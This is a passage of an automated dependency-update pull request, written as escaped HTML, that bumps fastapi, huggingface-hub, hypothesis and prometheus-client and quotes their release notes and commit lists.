href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUpgrades\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e⬆️ Bump Starlette to \u0026lt;\u003ccode\u003e0.51.0\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14282\"\u003e#14282\u003c/a\u003e by \u003ca href=\"https://github.com/musicinmybrain\"\u003e\u003ccode\u003e@​musicinmybrain\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Add missing hash part. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14369\"\u003e#14369\u003c/a\u003e by \u003ca href=\"https://github.com/nilslindemann\"\u003e\u003ccode\u003e@​nilslindemann\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e📝 Fix typos in code comments. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14364\"\u003e#14364\u003c/a\u003e by \u003ca href=\"https://github.com/Edge-Seven\"\u003e\u003ccode\u003e@​Edge-Seven\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e📝 Add docs for using FastAPI Cloud. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14359\"\u003e#14359\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/325fd16d32fd815633d6caf3d0d75aa7f30c51c9\"\u003e\u003ccode\u003e325fd16\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.121.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/7659b70da0aea0678a0842a5d7a8aaaef2527bab\"\u003e\u003ccode\u003e7659b70\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/85701631a0241c5f02b4940734a5428f66abe167\"\u003e\u003ccode\u003e8570163\u003c/code\u003e\u003c/a\u003e ♻️ Make the result of \u003ccode\u003eDepends()\u003c/code\u003e and \u003ccode\u003eSecurity()\u003c/code\u003e hashable, as a workaround ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/566e3157a5517784c741dbf36e39687af326fe90\"\u003e\u003ccode\u003e566e315\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/569226e753f601954a129331f61147f89abdb52a\"\u003e\u003ccode\u003e569226e\u003c/code\u003e\u003c/a\u003e ⬆️ Bump Starlette to \u0026lt;\u003ccode\u003e0.51.0\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14282\"\u003e#14282\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/33a75f481738c3d20ebc9fb17773d2da08b0e869\"\u003e\u003ccode\u003e33a75f4\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/89baa704a9f88ab09b0b01cd2fa7dcf758d6d417\"\u003e\u003ccode\u003e89baa70\u003c/code\u003e\u003c/a\u003e 📝 Add missing hash part (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14369\"\u003e#14369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/827ed1e6a24300af9b46adb8a3d208b8685eef85\"\u003e\u003ccode\u003e827ed1e\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/df83eb7278edf036612dc1b4c33c02415123d6a7\"\u003e\u003ccode\u003edf83eb7\u003c/code\u003e\u003c/a\u003e 📝 Fix typos in code comments (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14364\"\u003e#14364\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/4e84f3169436dfe06c963928a6af297d06cc560e\"\u003e\u003ccode\u003e4e84f31\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.121.2...0.121.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `huggingface-hub` from 1.1.4 to 1.1.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/huggingface/huggingface_hub/releases\"\u003ehuggingface-hub's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[v1.1.5] Welcoming OVHcloud AI Endpoints as a new Inference Provider \u0026amp; More\u003c/h2\u003e\n\u003ch2\u003e⚡️ New Inference Provider: OVHcloud AI Endpoints\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.ovhcloud.com/en/public-cloud/ai-endpoints/catalog/\"\u003eOVHcloud AI Endpoints\u003c/a\u003e is now an official \u003ca href=\"https://huggingface.co/docs/inference-providers/en/index\"\u003eInference Provider\u003c/a\u003e on Hugging Face! 🎉\nOVHcloud delivers fast, production ready inference on secure, sovereign, fully 🇪🇺 European infrastructure - combining advanced features with competitive pricing.\u003c/p\u003e\n\u003cpre lang=\"python\"\u003e\u003ccode\u003eimport os\nfrom huggingface_hub import InferenceClient\n\u003cp\u003eclient = InferenceClient(\napi_key=os.environ[\u0026quot;HF_TOKEN\u0026quot;],\n)\u003c/p\u003e\n\u003cp\u003ecompletion = client.chat.completions.create(\nmodel=\u0026quot;openai/gpt-oss-20b:ovhcloud\u0026quot;,\nmessages=[\n{\n\u0026quot;role\u0026quot;: \u0026quot;user\u0026quot;,\n\u0026quot;content\u0026quot;: \u0026quot;What is the capital of France?\u0026quot;\n}\n],\n)\u003c/p\u003e\n\u003cp\u003eprint(completion.choices[0].message)\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003eMore snippets examples in the provider documentation 👉 \u003ca href=\"https://huggingface.co/docs/inference-providers/en/providers/ovhcloud\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd OVHcloud AI Endpoints as an Inference Provder in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3541\"\u003e#3541\u003c/a\u003e by \u003ca href=\"https://github.com/eliasto\"\u003e\u003ccode\u003e@​eliasto\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eQoL Improvements\u003c/h2\u003e\n\u003cp\u003eInstalling the CLI is now much faster, thanks to \u003ca href=\"https://github.com/Boulaouaney\"\u003e\u003ccode\u003e@​Boulaouaney\u003c/code\u003e\u003c/a\u003e for adding support for \u003ccode\u003euv\u003c/code\u003e, bringing faster package installation.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd uv support to installation scripts for faster package installation in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3486\"\u003e#3486\u003c/a\u003e by \u003ca href=\"https://github.com/Boulaouaney\"\u003e\u003ccode\u003e@​Boulaouaney\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003eThis release also includes the following bug fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e[Collections] Add collections to collections by slug id in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3551\"\u003e#3551\u003c/a\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[CLI] Respect \u003ccode\u003eHF_DEBUG\u003c/code\u003e environment variable in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3562\"\u003e#3562\u003c/a\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[Inference] fix zero shot classification output parsing in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3561\"\u003e#3561\u003c/a\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/fdc11699305d5947725a6ad48907746ec95eefa1\"\u003e\u003ccode\u003efdc1169\u003c/code\u003e\u003c/a\u003e Release: v1.1.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/63523b2611b104fddd9f0242bc265ffb0e4baacd\"\u003e\u003ccode\u003e63523b2\u003c/code\u003e\u003c/a\u003e [Inference] fix zero shot classification output parsing (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3561\"\u003e#3561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/c9d08702171e2b374f96447bdc42e9c7fcdf6935\"\u003e\u003ccode\u003ec9d0870\u003c/code\u003e\u003c/a\u003e [CLI] Respect \u003ccode\u003eHF_DEBUG\u003c/code\u003e environment variable (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3562\"\u003e#3562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/1fb0107bb68bae38c8f55cc6055dad11cbcb9e83\"\u003e\u003ccode\u003e1fb0107\u003c/code\u003e\u003c/a\u003e [Collections] Add collections to collections by slug id (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3551\"\u003e#3551\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/6d13ec976351a479e3502fcaf2f67478b60dd3eb\"\u003e\u003ccode\u003e6d13ec9\u003c/code\u003e\u003c/a\u003e Add OVHcloud AI Endpoints as an Inference Provder (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3541\"\u003e#3541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.1.4...v1.1.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hypothesis` from 6.147.0 to 6.148.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/releases\"\u003ehypothesis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.2\u003c/h2\u003e\n\u003cp\u003eDocument \u0026quot;fuzz_one_input()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-2\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.1\u003c/h2\u003e\n\u003cp\u003eThis patch updates our vendored list of top-level domains, which is\nused by the provisional \u0026quot;domains()\u0026quot; strategy.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-1\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.0\u003c/h2\u003e\n\u003cp\u003eCalling \u0026quot;register_profile()\u0026quot; from within a test decorated with\n\u0026quot;\u003ca href=\"https://github.com/settings\"\u003e\u003ccode\u003e@​settings\u003c/code\u003e\u003c/a\u003e\u0026quot; is now deprecated, to avoid confusion about which settings\nare used as the baseline for the new profile.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-0\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/98a8d2c6a760def79f87e3164b2bd166e3742820\"\u003e\u003ccode\u003e98a8d2c\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.2 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/adbf6cf465423766f6c99fff4cb1d877f7026829\"\u003e\u003ccode\u003eadbf6cf\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4590\"\u003e#4590\u003c/a\u003e from Liam-DeVoe/external-fuzzer-howto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/e371d8937a46e410f2806dbdfea518c75f3228b4\"\u003e\u003ccode\u003ee371d89\u003c/code\u003e\u003c/a\u003e not just native code\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/1befd21f97d228ee2d8fd6e7b2890c04b2d490c8\"\u003e\u003ccode\u003e1befd21\u003c/code\u003e\u003c/a\u003e update intro\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3bf32cac729438ee46d09bd28bf3bdc4533eb3f6\"\u003e\u003ccode\u003e3bf32ca\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4604\"\u003e#4604\u003c/a\u003e from neutrinoceros/dep/bump_requires-python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/5286ec642d0ab43199c81c664e2178d4e36c9593\"\u003e\u003ccode\u003e5286ec6\u003c/code\u003e\u003c/a\u003e Bump project.requires-python from \u0026gt;=3.10 to \u0026gt;=3.10.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3f32b14c6173c37115ed9140db0846c07b46b625\"\u003e\u003ccode\u003e3f32b14\u003c/code\u003e\u003c/a\u003e formatting\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/df6dd11616bbb8d7f4315793983a02ba831c8bd6\"\u003e\u003ccode\u003edf6dd11\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into external-fuzzer-howto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/e46bf2891014ae3b495ce96391183396eb5b39a3\"\u003e\u003ccode\u003ee46bf28\u003c/code\u003e\u003c/a\u003e tweak ext-fuzzer introduction\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/185dba4280376a7fb67adfb8650dadf7935e9a68\"\u003e\u003ccode\u003e185dba4\u003c/code\u003e\u003c/a\u003e add live-docs task\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.147.0...hypothesis-python-6.148.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.20.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1102\"\u003eprometheus/client_python#1102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRe include test data by \u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove parser performance by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1117\"\u003eprometheus/client_python#1117\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support to \u003ccode\u003ewrite_to_textfile\u003c/code\u003e for custom tmpdir by \u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eOM text exposition for NH by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1087\"\u003eprometheus/client_python#1087\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix bug which caused metric publishing to not accept query string parameters in ASGI app by \u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEmit native histograms only when OM 2.0.0 is requested by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1128\"\u003eprometheus/client_python#1128\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: remove space after comma in openmetrics exposition by \u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix issue parsing double spaces after # HELP/# TYPE by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1134\"\u003eprometheus/client_python#1134\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBugFix: Skip validating and parsing comment lines early (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1108\"\u003e#1108\u003c/a\u003e) by \u003ca href=\"https://github.com/wissamir\"\u003e\u003ccode\u003e@​wissamir\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1109\"\u003eprometheus/client_python#1109\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse License Expressions in pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1111\"\u003eprometheus/client_python#1111\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for native histograms in OM parser by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1040\"\u003eprometheus/client_python#1040\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd exemplar support to CounterMetricFamily [Fix \u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1062\"\u003e#1062\u003c/a\u003e] by \u003ca href=\"https://github.com/lod\"\u003e\u003ccode\u003e@​lod\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1063\"\u003eprometheus/client_python#1063\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ewrite_to_textfile\u003c/code\u003e leaves back temp files on errors by \u003ca href=\"https://github.com/ethanschen\"\u003e\u003ccode\u003e@​ethanschen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1066\"\u003eprometheus/client_python#1066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport UTF-8 in metric creation, parsing, and exposition by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1070\"\u003eprometheus/client_python#1070\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix incorrect use of reentrant locks by \u003ca href=\"https://github.com/suligap\"\u003e\u003ccode\u003e@​suligap\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1076\"\u003eprometheus/client_python#1076\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove Python 3.8 support by \u003ca href=\"https://github.com/kajinamit\"\u003e\u003ccode\u003e@​kajinamit\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1075\"\u003eprometheus/client_python#1075\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCheck if labelvalues is in _metrics before deletion in MetricWrapperBase.remove() by \u003ca href=\"https://github.com/GlorifiedPig\"\u003e\u003ccode\u003e@​GlorifiedPig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1077\"\u003eprometheus/client_python#1077\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Python 3.13 by \u003ca href=\"https://github.com/Pliner\"\u003e\u003ccode\u003e@​Pliner\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1080\"\u003eprometheus/client_python#1080\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCorrect nh sample span structure and parsing by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1082\"\u003eprometheus/client_python#1082\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMigrate from setup.py to pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1084\"\u003eprometheus/client_python#1084\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChanged pushgateway.md by \u003ca href=\"https://github.com/mallika-mur\"\u003e\u003ccode\u003e@​mallika-mur\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1083\"\u003eprometheus/client_python#1083\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix order-dependent flaky tests related to UTF-8 support by \u003ca href=\"https://github.com/dg98\"\u003e\u003ccode\u003e@​dg98\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1093\"\u003eprometheus/client_python#1093\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/8746c49a76a7929795fab7b593b1c44dc8c972d2\"\u003e\u003ccode\u003e8746c49\u003c/code\u003e\u003c/a\u003e Release 0.23.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/266beb2567e0040a5790836c32de5a643d5177e4\"\u003e\u003ccode\u003e266beb2\u003c/code\u003e\u003c/a\u003e fix: use tuples instead of packaging Version (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1136\"\u003e#1136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/f9471403a82de6af93feeac2d38938ca1c384b6d\"\u003e\u003ccode\u003ef947140\u003c/code\u003e\u003c/a\u003e fix: Use \u003ccode\u003easyncio.new_event_loop()\u003c/code\u003e to create event loop for tests (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1138\"\u003e#1138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 